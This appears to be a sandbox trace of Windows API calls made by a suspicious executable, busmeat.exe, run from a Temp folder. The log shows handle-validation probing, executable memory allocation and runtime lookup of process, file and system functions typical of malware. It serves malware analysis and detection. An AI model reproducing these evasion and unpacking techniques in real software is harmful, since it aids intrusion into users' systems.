	[0071.526] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x0, cchDest=0, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=0x0) returned 256
	[0071.526] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x19e848, cchDest=256, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸȀ") returned 256
	[0071.526] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸȀ", cchWideChar=256, lpMultiByteStr=0x19ef08, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x8a\x9b\x8c\x9d\x8e\x9f ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞ\x9f \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9eÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿÙ\x9b\x9a\x1aDò\x19", lpUsedDefaultChar=0x0) returned 256
	[0071.526] GetModuleFileNameA (in: hModule=0x0, lpFilename=0x4273a0, nSize=0x104 | out: lpFilename="C:\\Users\\CIIHMN~1\\AppData\\Local\\Temp\\busmeat.exe" (normalized: "c:\\users\\ciihmn~1\\appdata\\local\\temp\\busmeat.exe")) returned 0x30
	[0071.526] GetLastError () returned 0x0
	[0071.527] SetLastError (dwErrCode=0x0) 
	[0071.527] GetLastError () returned 0x0
	[0071.527] SetLastError (dwErrCode=0x0) 
	[0071.527] GetLastError () returned 0x0
	[0071.527] SetLastError (dwErrCode=0x0) 
	[0071.527] GetLastError () returned 0x0
	[0071.527] SetLastError (dwErrCode=0x0) 
	[0071.527] GetLastError () returned 0x0
	[0071.527] SetLastError (dwErrCode=0x0) 
	[0071.527] GetLastError () returned 0x0
	[0071.527] SetLastError (dwErrCode=0x0) 
	[0071.527] GetLastError () returned 0x0
	[0071.527] SetLastError (dwErrCode=0x0) 
	[0071.527] GetLastError () returned 0x0
	[0071.527] SetLastError (dwErrCode=0x0) 
	[0071.527] GetLastError () returned 0x0
	[0071.527] SetLastError (dwErrCode=0x0) 
	[0071.527] GetLastError () returned 0x0
	[0071.527] SetLastError (dwErrCode=0x0) 
	[0071.527] GetLastError () returned 0x0
	[0071.527] SetLastError (dwErrCode=0x0) 
	[0071.527] GetLastError () returned 0x0
	[0071.527] SetLastError (dwErrCode=0x0) 
	[0071.527] GetLastError () returned 0x0
	[0071.527] SetLastError (dwErrCode=0x0) 
	[0071.528] GetLastError () returned 0x0
	[0071.528] SetLastError (dwErrCode=0x0) 
	[0071.528] GetLastError () returned 0x0
	[0071.528] SetLastError (dwErrCode=0x0) 
	[0071.528] GetLastError () returned 0x0
	[0071.528] SetLastError (dwErrCode=0x0) 
	[0071.528] GetLastError () returned 0x0
	[0071.528] SetLastError (dwErrCode=0x0) 
	[0071.528] GetLastError () returned 0x0
	[0071.528] SetLastError (dwErrCode=0x0) 
	[0071.528] GetLastError () returned 0x0
	[0071.528] SetLastError (dwErrCode=0x0) 
	[0071.528] GetLastError () returned 0x0
	[0071.528] SetLastError (dwErrCode=0x0) 
	[0071.528] GetLastError () returned 0x0
	[0071.528] SetLastError (dwErrCode=0x0) 
	[0071.528] GetLastError () returned 0x0
	[0071.528] SetLastError (dwErrCode=0x0) 
	[0071.528] GetLastError () returned 0x0
	[0071.528] SetLastError (dwErrCode=0x0) 
	[0071.528] GetLastError () returned 0x0
	[0071.528] SetLastError (dwErrCode=0x0) 
	[0071.528] GetLastError () returned 0x0
	[0071.528] SetLastError (dwErrCode=0x0) 
	[0071.528] GetLastError () returned 0x0
	[0071.529] SetLastError (dwErrCode=0x0) 
	[0071.529] GetLastError () returned 0x0
	[0071.529] SetLastError (dwErrCode=0x0) 
	[0071.529] GetLastError () returned 0x0
	[0071.529] SetLastError (dwErrCode=0x0) 
	[0071.529] GetLastError () returned 0x0
	[0071.529] SetLastError (dwErrCode=0x0) 
	[0071.529] GetLastError () returned 0x0
	[0071.529] SetLastError (dwErrCode=0x0) 
	[0071.529] GetLastError () returned 0x0
	[0071.529] SetLastError (dwErrCode=0x0) 
	[0071.529] GetLastError () returned 0x0
	[0071.529] SetLastError (dwErrCode=0x0) 
	[0071.529] GetLastError () returned 0x0
	[0071.529] SetLastError (dwErrCode=0x0) 
	[0071.529] GetLastError () returned 0x0
	[0071.549] SetLastError (dwErrCode=0x0) 
	[0071.549] GetLastError () returned 0x0
	[0071.549] SetLastError (dwErrCode=0x0) 
	[0071.549] GetLastError () returned 0x0
	[0071.549] SetLastError (dwErrCode=0x0) 
	[0071.549] GetLastError () returned 0x0
	[0071.549] SetLastError (dwErrCode=0x0) 
	[0071.549] GetLastError () returned 0x0
	[0071.550] SetLastError (dwErrCode=0x0) 
	[0071.550] GetLastError () returned 0x0
	[0071.550] SetLastError (dwErrCode=0x0) 
	[0071.550] GetLastError () returned 0x0
	[0071.550] SetLastError (dwErrCode=0x0) 
	[0071.550] GetLastError () returned 0x0
	[0071.550] SetLastError (dwErrCode=0x0) 
	[0071.550] GetLastError () returned 0x0
	[0071.550] SetLastError (dwErrCode=0x0) 
	[0071.550] GetLastError () returned 0x0
	[0071.550] SetLastError (dwErrCode=0x0) 
	[0071.550] GetLastError () returned 0x0
	[0071.550] SetLastError (dwErrCode=0x0) 
	[0071.550] GetLastError () returned 0x0
	[0071.550] SetLastError (dwErrCode=0x0) 
	[0071.550] GetLastError () returned 0x0
	[0071.550] SetLastError (dwErrCode=0x0) 
	[0071.550] GetLastError () returned 0x0
	[0071.550] SetLastError (dwErrCode=0x0) 
	[0071.550] GetLastError () returned 0x0
	[0071.550] SetLastError (dwErrCode=0x0) 
	[0071.550] GetLastError () returned 0x0
	[0071.550] SetLastError (dwErrCode=0x0) 
	[0071.550] GetLastError () returned 0x0
	[0071.551] SetLastError (dwErrCode=0x0) 
	[0071.551] GetLastError () returned 0x0
	[0071.551] SetLastError (dwErrCode=0x0) 
	[0071.551] GetLastError () returned 0x0
	[0071.551] SetLastError (dwErrCode=0x0) 
	[0071.551] GetLastError () returned 0x0
	[0071.551] SetLastError (dwErrCode=0x0) 
	[0071.551] GetLastError () returned 0x0
	[0071.551] SetLastError (dwErrCode=0x0) 
	[0071.551] GetLastError () returned 0x0
	[0071.551] SetLastError (dwErrCode=0x0) 
	[0071.551] GetLastError () returned 0x0
	[0071.551] SetLastError (dwErrCode=0x0) 
	[0071.551] GetLastError () returned 0x0
	[0071.551] SetLastError (dwErrCode=0x0) 
	[0071.551] GetLastError () returned 0x0
	[0071.551] SetLastError (dwErrCode=0x0) 
	[0071.551] GetLastError () returned 0x0
	[0071.551] SetLastError (dwErrCode=0x0) 
	[0071.551] GetLastError () returned 0x0
	[0071.551] SetLastError (dwErrCode=0x0) 
	[0071.551] GetLastError () returned 0x0
	[0071.551] SetLastError (dwErrCode=0x0) 
	[0071.552] GetLastError () returned 0x0
	[0071.552] SetLastError (dwErrCode=0x0) 
	[0071.552] GetLastError () returned 0x0
	[0071.552] SetLastError (dwErrCode=0x0) 
	[0071.552] GetLastError () returned 0x0
	[0071.552] SetLastError (dwErrCode=0x0) 
	[0071.552] GetLastError () returned 0x0
	[0071.552] SetLastError (dwErrCode=0x0) 
	[0071.552] GetLastError () returned 0x0
	[0071.552] SetLastError (dwErrCode=0x0) 
	[0071.552] GetLastError () returned 0x0
	[0071.552] SetLastError (dwErrCode=0x0) 
	[0071.552] GetLastError () returned 0x0
	[0071.552] SetLastError (dwErrCode=0x0) 
	[0071.552] GetLastError () returned 0x0
	[0071.552] SetLastError (dwErrCode=0x0) 
	[0071.552] GetLastError () returned 0x0
	[0071.552] SetLastError (dwErrCode=0x0) 
	[0071.552] GetLastError () returned 0x0
	[0071.552] SetLastError (dwErrCode=0x0) 
	[0071.552] GetLastError () returned 0x0
	[0071.552] SetLastError (dwErrCode=0x0) 
	[0071.552] GetLastError () returned 0x0
	[0071.553] SetLastError (dwErrCode=0x0) 
	[0071.553] GetLastError () returned 0x0
	[0071.553] SetLastError (dwErrCode=0x0) 
	[0071.553] GetLastError () returned 0x0
	[0071.553] SetLastError (dwErrCode=0x0) 
	[0071.553] GetLastError () returned 0x0
	[0071.553] SetLastError (dwErrCode=0x0) 
	[0071.553] GetLastError () returned 0x0
	[0071.553] SetLastError (dwErrCode=0x0) 
	[0071.553] GetLastError () returned 0x0
	[0071.553] SetLastError (dwErrCode=0x0) 
	[0071.553] GetLastError () returned 0x0
	[0071.553] SetLastError (dwErrCode=0x0) 
	[0071.553] GetLastError () returned 0x0
	[0071.553] SetLastError (dwErrCode=0x0) 
	[0071.553] GetLastError () returned 0x0
	[0071.553] SetLastError (dwErrCode=0x0) 
	[0071.553] GetLastError () returned 0x0
	[0071.553] SetLastError (dwErrCode=0x0) 
	[0071.553] GetLastError () returned 0x0
	[0071.553] SetLastError (dwErrCode=0x0) 
	[0071.553] GetLastError () returned 0x0
	[0071.553] SetLastError (dwErrCode=0x0) 
	[0071.553] GetLastError () returned 0x0
	[0071.554] SetLastError (dwErrCode=0x0) 
	[0071.554] GetLastError () returned 0x0
	[0071.554] SetLastError (dwErrCode=0x0) 
	[0071.554] GetLastError () returned 0x0
	[0071.554] SetLastError (dwErrCode=0x0) 
	[0071.554] GetLastError () returned 0x0
	[0071.554] SetLastError (dwErrCode=0x0) 
	[0071.554] GetLastError () returned 0x0
	[0071.554] SetLastError (dwErrCode=0x0) 
	[0071.554] GetLastError () returned 0x0
	[0071.554] SetLastError (dwErrCode=0x0) 
	[0071.554] GetLastError () returned 0x0
	[0071.554] SetLastError (dwErrCode=0x0) 
	[0071.554] GetLastError () returned 0x0
	[0071.554] SetLastError (dwErrCode=0x0) 
	[0071.554] GetLastError () returned 0x0
	[0071.554] SetLastError (dwErrCode=0x0) 
	[0071.554] GetLastError () returned 0x0
	[0071.554] SetLastError (dwErrCode=0x0) 
	[0071.554] GetLastError () returned 0x0
	[0071.554] SetLastError (dwErrCode=0x0) 
	[0071.554] GetLastError () returned 0x0
	[0071.554] SetLastError (dwErrCode=0x0) 
	[0071.555] GetLastError () returned 0x0
	[0071.555] SetLastError (dwErrCode=0x0) 
	[0071.555] GetLastError () returned 0x0
	[0071.555] SetLastError (dwErrCode=0x0) 
	[0071.556] IsProcessorFeaturePresent (ProcessorFeature=0xa) returned 1
	[0071.556] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x401893) returned 0x406379
	[0071.556] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x19ea54, nSize=0x100 | out: lpFilename="C:\\Users\\CIIHMN~1\\AppData\\Local\\Temp\\busmeat.exe" (normalized: "c:\\users\\ciihmn~1\\appdata\\local\\temp\\busmeat.exe")) returned 0x30
	[0071.556] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x19ee54, nSize=0x100 | out: lpFilename="C:\\Users\\CIIHMN~1\\AppData\\Local\\Temp\\busmeat.exe" (normalized: "c:\\users\\ciihmn~1\\appdata\\local\\temp\\busmeat.exe")) returned 0x30
	[0071.556] GetLastError () returned 0x0
	[0071.556] CharUpperBuffW (in: lpsz="C:\\Users\\CIIHMN~1\\AppData\\Local\\Temp\\busmeat.exe", cchLength=0x30 | out: lpsz="C:\\USERS\\CIIHMN~1\\APPDATA\\LOCAL\\TEMP\\BUSMEAT.EXE") returned 0x30
	[0071.556] GetCurrentProcess () returned 0xffffffff
	[0071.556] IsWow64Process (in: hProcess=0xffffffff, Wow64Process=0x19ea50 | out: Wow64Process=0x19ea50) returned 1
	[0071.557] GetCurrentProcessId () returned 0xef8
	[0071.557] Sleep (dwMilliseconds=0xc8) 
	[0071.767] GetModuleHandleA (lpModuleName=0x0) returned 0x400000
	[0071.767] LoadLibraryA (lpLibFileName="USER32.dll") returned 0x74d70000
	[0071.767] GetVersionExW (in: lpVersionInformation=0x19e918*(dwOSVersionInfoSize=0x11c, dwMajorVersion=0x4b004a, dwMinorVersion=0x4d004c, dwBuildNumber=0x4f004e, dwPlatformId=0x510050, szCSDVersion="RSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8d\x04") | out: lpVersionInformation=0x19e918*(dwOSVersionInfoSize=0x11c, dwMajorVersion=0x6, dwMinorVersion=0x2, dwBuildNumber=0x23f0, dwPlatformId=0x2, szCSDVersion="")) returned 1
	[0071.767] GetModuleHandleA (lpModuleName="ntdll.dll") returned 0x77c40000
	[0071.767] IsWow64Process (in: hProcess=0xffffffff, Wow64Process=0x19e914 | out: Wow64Process=0x19e914) returned 1
	[0071.768] CreateWindowExW (dwExStyle=0x0, lpClassName=0x8002, lpWindowName=0x0, dwStyle=0x0, X=0, Y=0, nWidth=0, nHeight=0, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) returned 0xa01fe
	[0072.416] LoadLibraryA (lpLibFileName="USER32.dll") returned 0x74d70000
	[0072.417] GetProcAddress (hModule=0x74d70000, lpProcName="IsMenu") returned 0x74d902a0
	[0072.417] @HMValidateHandle@8 () returned 0x10525e0
	[0072.417] SetWindowLongW (hWnd=0xa01fe, nIndex=0, dwNewLong=825373492) returned 0
	[0072.417] DestroyWindow (hWnd=0xa01fe) returned 1
	[0072.432] RegisterClassExW (param_1=0x19e8a0) returned 0xc16b
	[0072.432] CreateWindowExW (dwExStyle=0x0, lpClassName="ExtraWnd1", lpWindowName=0x0, dwStyle=0x0, X=0, Y=0, nWidth=0, nHeight=0, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) returned 0xb01fe
	[0072.434] RegisterClassExW (param_1=0x19e8a0) returned 0xc167
	[0072.435] CreateWindowExW (dwExStyle=0x0, lpClassName="ExtraWnd2", lpWindowName=0x0, dwStyle=0x0, X=0, Y=0, nWidth=0, nHeight=0, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) returned 0x301c0
	[0072.436] @HMValidateHandle@8 () returned 0x1051780
	[0072.436] @HMValidateHandle@8 () returned 0x1056310
	[0072.436] DestroyWindow (hWnd=0xb01fe) returned 1
	[0072.437] DestroyWindow (hWnd=0x301c0) returned 1
	[0072.438] RegisterClassExW (param_1=0x19e8e4) returned 0xc0e6
	[0072.439] GetSystemMetrics (nIndex=0) returned 1440
	[0072.439] GetSystemMetrics (nIndex=1) returned 900
	[0072.439] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x40d110, lpParameter=0x0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x174
	[0072.439] Sleep (dwMilliseconds=0x64) 
	[0072.972] Sleep (dwMilliseconds=0x64) 
	[0073.234] Sleep (dwMilliseconds=0x64) 
	[0073.357] Sleep (dwMilliseconds=0x64) 
	[0073.467] Sleep (dwMilliseconds=0x64) 
	[0073.577] TerminateThread (hThread=0x174, dwExitCode=0x0) returned 1
	[0073.578] Sleep (dwMilliseconds=0x64) 
	[0073.689] keybd_event (bVk=0x1b, bScan=0x0, dwFlags=0x2, dwExtraInfo=0x0) 
	[0073.689] keybd_event (bVk=0x12, bScan=0x0, dwFlags=0x2, dwExtraInfo=0x0) 
	[0073.689] OpenProcess (dwDesiredAccess=0x0, bInheritHandle=0, dwProcessId=0x0) returned 0x0
	[0073.689] GetLastError () returned 0x57
	[0073.689] VirtualProtect (in: lpAddress=0x414250, dwSize=0x13000, flNewProtect=0x40, lpflOldProtect=0x19f238 | out: lpflOldProtect=0x19f238*=0x40) returned 1
	[0073.690] VirtualAlloc (lpAddress=0x0, dwSize=0x17000, flAllocationType=0x3000, flProtect=0x40) returned 0xce0000
	[0073.691] LoadLibraryA (lpLibFileName="KERNEL32.dll") returned 0x77670000
	[0073.691] GetProcAddress (hModule=0x77670000, lpProcName="Sleep") returned 0x776877b0
	[0073.692] GetProcAddress (hModule=0x77670000, lpProcName="TerminateProcess") returned 0x7768fbc0
	[0073.692] GetProcAddress (hModule=0x77670000, lpProcName="VerifyVersionInfoW") returned 0x77687960
	[0073.692] GetProcAddress (hModule=0x77670000, lpProcName="WaitForMultipleObjects") returned 0x776960f0
	[0073.692] GetProcAddress (hModule=0x77670000, lpProcName="DeleteCriticalSection") returned 0x77c99920
	[0073.692] GetProcAddress (hModule=0x77670000, lpProcName="LocalFree") returned 0x776887c0
	[0073.692] GetProcAddress (hModule=0x77670000, lpProcName="ExpandEnvironmentStringsW") returned 0x7768c8c0
	[0073.692] GetProcAddress (hModule=0x77670000, lpProcName="CreateProcessW") returned 0x7768a510
	[0073.692] GetProcAddress (hModule=0x77670000, lpProcName="SetHandleInformation") returned 0x77695f50
	[0073.692] GetProcAddress (hModule=0x77670000, lpProcName="lstrcatA") returned 0x7768efc0
	[0073.692] GetProcAddress (hModule=0x77670000, lpProcName="MultiByteToWideChar") returned 0x77682d60
	[0073.692] GetProcAddress (hModule=0x77670000, lpProcName="CreatePipe") returned 0x77680570
	[0073.693] GetProcAddress (hModule=0x77670000, lpProcName="Process32FirstW") returned 0x7768ee30
	[0073.693] GetProcAddress (hModule=0x77670000, lpProcName="Process32NextW") returned 0x7768c9b0
	[0073.693] GetProcAddress (hModule=0x77670000, lpProcName="CreateToolhelp32Snapshot") returned 0x77697510
	[0073.693] GetProcAddress (hModule=0x77670000, lpProcName="LeaveCriticalSection") returned 0x77c85e00
	[0073.693] GetProcAddress (hModule=0x77670000, lpProcName="CloseHandle") returned 0x77695f20
	[0073.693] GetProcAddress (hModule=0x77670000, lpProcName="FindFirstFileW") returned 0x77696250
	[0073.693] GetProcAddress (hModule=0x77670000, lpProcName="GetFileAttributesW") returned 0x77696340
	[0073.693] GetProcAddress (hModule=0x77670000, lpProcName="lstrcmpW") returned 0x776878d0
	[0073.693] GetProcAddress (hModule=0x77670000, lpProcName="MoveFileW") returned 0x7768a770
	[0073.693] GetProcAddress (hModule=0x77670000, lpProcName="FindClose") returned 0x776961d0
	[0073.693] GetProcAddress (hModule=0x77670000, lpProcName="FindNextFileW") returned 0x77696290
	[0073.694] GetProcAddress (hModule=0x77670000, lpProcName="SetFileAttributesW") returned 0x77696510
	[0073.694] GetProcAddress (hModule=0x77670000, lpProcName="GetNativeSystemInfo") returned 0x7768a410
	[0073.694] GetProcAddress (hModule=0x77670000, lpProcName="GetComputerNameW") returned 0x77693e90
	[0073.694] GetProcAddress (hModule=0x77670000, lpProcName="TerminateThread") returned 0x7768fcb0
	[0073.694] GetProcAddress (hModule=0x77670000, lpProcName="GetWindowsDirectoryW") returned 0x77694cc0
	[0073.694] GetProcAddress (hModule=0x77670000, lpProcName="GetVolumeInformationW") returned 0x77696450
	[0073.694] GetProcAddress (hModule=0x77670000, lpProcName="LoadLibraryA") returned 0x7768d8d0
	[0073.694] GetProcAddress (hModule=0x77670000, lpProcName="GetSystemDirectoryW") returned 0x77689a90
	[0073.694] GetProcAddress (hModule=0x77670000, lpProcName="OpenProcess") returned 0x776892b0
	[0073.694] GetProcAddress (hModule=0x77670000, lpProcName="InitializeCriticalSection") returned 0x77c995f0
	[0073.694] GetProcAddress (hModule=0x77670000, lpProcName="WaitForSingleObject") returned 0x77696110
	[0073.695] GetProcAddress (hModule=0x77670000, lpProcName="VerSetConditionMask") returned 0x77c953c0
	[0073.695] GetProcAddress (hModule=0x77670000, lpProcName="GetDriveTypeW") returned 0x77696300
	[0073.695] GetProcAddress (hModule=0x77670000, lpProcName="lstrcatW") returned 0x776ad320
	[0073.695] GetProcAddress (hModule=0x77670000, lpProcName="IsProcessorFeaturePresent") returned 0x77689680
	[0073.695] GetProcAddress (hModule=0x77670000, lpProcName="lstrcmpiW") returned 0x77687540
	[0073.695] GetProcAddress (hModule=0x77670000, lpProcName="CreateFileMappingW") returned 0x776891e0
	[0073.695] GetProcAddress (hModule=0x77670000, lpProcName="lstrlenW") returned 0x77682d80
	[0073.695] GetProcAddress (hModule=0x77670000, lpProcName="ExitThread") returned 0x77ca2570
	[0073.695] GetProcAddress (hModule=0x77670000, lpProcName="CreateFileW") returned 0x77696180
	[0073.695] GetProcAddress (hModule=0x77670000, lpProcName="GetModuleFileNameW") returned 0x77689560
	[0073.695] GetProcAddress (hModule=0x77670000, lpProcName="WriteFile") returned 0x77696590
	[0073.696] GetProcAddress (hModule=0x77670000, lpProcName="GetModuleHandleW") returned 0x77689660
	[0073.696] GetProcAddress (hModule=0x77670000, lpProcName="UnmapViewOfFile") returned 0x776894b0
	[0073.696] GetProcAddress (hModule=0x77670000, lpProcName="MapViewOfFile") returned 0x77688c10
	[0073.696] GetProcAddress (hModule=0x77670000, lpProcName="GetFileSize") returned 0x77696360
	[0073.696] GetProcAddress (hModule=0x77670000, lpProcName="GetEnvironmentVariableW") returned 0x77689540
	[0073.696] GetProcAddress (hModule=0x77670000, lpProcName="lstrcpyA") returned 0x7768e320
	[0073.696] GetProcAddress (hModule=0x77670000, lpProcName="GetModuleHandleA") returned 0x77689640
	[0073.696] GetProcAddress (hModule=0x77670000, lpProcName="VirtualAlloc") returned 0x77688b70
	[0073.696] GetProcAddress (hModule=0x77670000, lpProcName="GetProcAddress") returned 0x77687940
	[0073.696] GetProcAddress (hModule=0x77670000, lpProcName="GetProcessHeap") returned 0x77687910
	[0073.696] GetProcAddress (hModule=0x77670000, lpProcName="HeapFree") returned 0x776825e0
	[0073.697] GetProcAddress (hModule=0x77670000, lpProcName="CreateMutexW") returned 0x77695fe0
	[0073.697] GetProcAddress (hModule=0x77670000, lpProcName="lstrcpyW") returned 0x776ad410
	[0073.697] GetProcAddress (hModule=0x77670000, lpProcName="GetLastError") returned 0x77682db0
	[0073.697] GetProcAddress (hModule=0x77670000, lpProcName="SetFilePointerEx") returned 0x77696540
	[0073.697] GetProcAddress (hModule=0x77670000, lpProcName="LocalAlloc") returned 0x77688840
	[0073.697] GetProcAddress (hModule=0x77670000, lpProcName="GlobalFree") returned 0x77693a70
	[0073.697] GetProcAddress (hModule=0x77670000, lpProcName="GetTempPathW") returned 0x77696420
	[0073.697] GetProcAddress (hModule=0x77670000, lpProcName="MulDiv") returned 0x77695db0
	[0073.697] GetProcAddress (hModule=0x77670000, lpProcName="GlobalAlloc") returned 0x77689600
	[0073.697] GetProcAddress (hModule=0x77670000, lpProcName="GetTickCount") returned 0x776957f0
	[0073.697] GetProcAddress (hModule=0x77670000, lpProcName="ReadFile") returned 0x776964a0
	[0073.698] GetProcAddress (hModule=0x77670000, lpProcName="lstrcmpiA") returned 0x77687610
	[0073.698] GetProcAddress (hModule=0x77670000, lpProcName="VirtualFree") returned 0x77688c70
	[0073.698] GetProcAddress (hModule=0x77670000, lpProcName="GetDiskFreeSpaceW") returned 0x776962e0
	[0073.698] GetProcAddress (hModule=0x77670000, lpProcName="CreateThread") returned 0x77689700
	[0073.698] GetProcAddress (hModule=0x77670000, lpProcName="GetCurrentProcess") returned 0x77682da0
	[0073.698] GetProcAddress (hModule=0x77670000, lpProcName="HeapAlloc") returned 0x77c7da90
	[0073.698] GetProcAddress (hModule=0x77670000, lpProcName="lstrlenA") returned 0x77693a30
	[0073.698] GetProcAddress (hModule=0x77670000, lpProcName="EnterCriticalSection") returned 0x77c85e80
	[0073.698] GetProcAddress (hModule=0x77670000, lpProcName="ExitProcess") returned 0x776974f0
	[0073.698] LoadLibraryA (lpLibFileName="USER32.dll") returned 0x74d70000
	[0073.698] GetProcAddress (hModule=0x74d70000, lpProcName="DrawTextW") returned 0x74d92f20
	[0073.699] GetProcAddress (hModule=0x74d70000, lpProcName="DrawTextA") returned 0x74d920f0
	[0073.699] GetProcAddress (hModule=0x74d70000, lpProcName="GetDC") returned 0x74c6a340
	[0073.699] GetProcAddress (hModule=0x74d70000, lpProcName="ReleaseDC") returned 0x74c6a240
	[0073.699] GetProcAddress (hModule=0x74d70000, lpProcName="EndPaint") returned 0x74da4ec0
	[0073.699] GetProcAddress (hModule=0x74d70000, lpProcName="DestroyWindow") returned 0x74c72220
	[0073.699] GetProcAddress (hModule=0x74d70000, lpProcName="GetMessageW") returned 0x74da3230
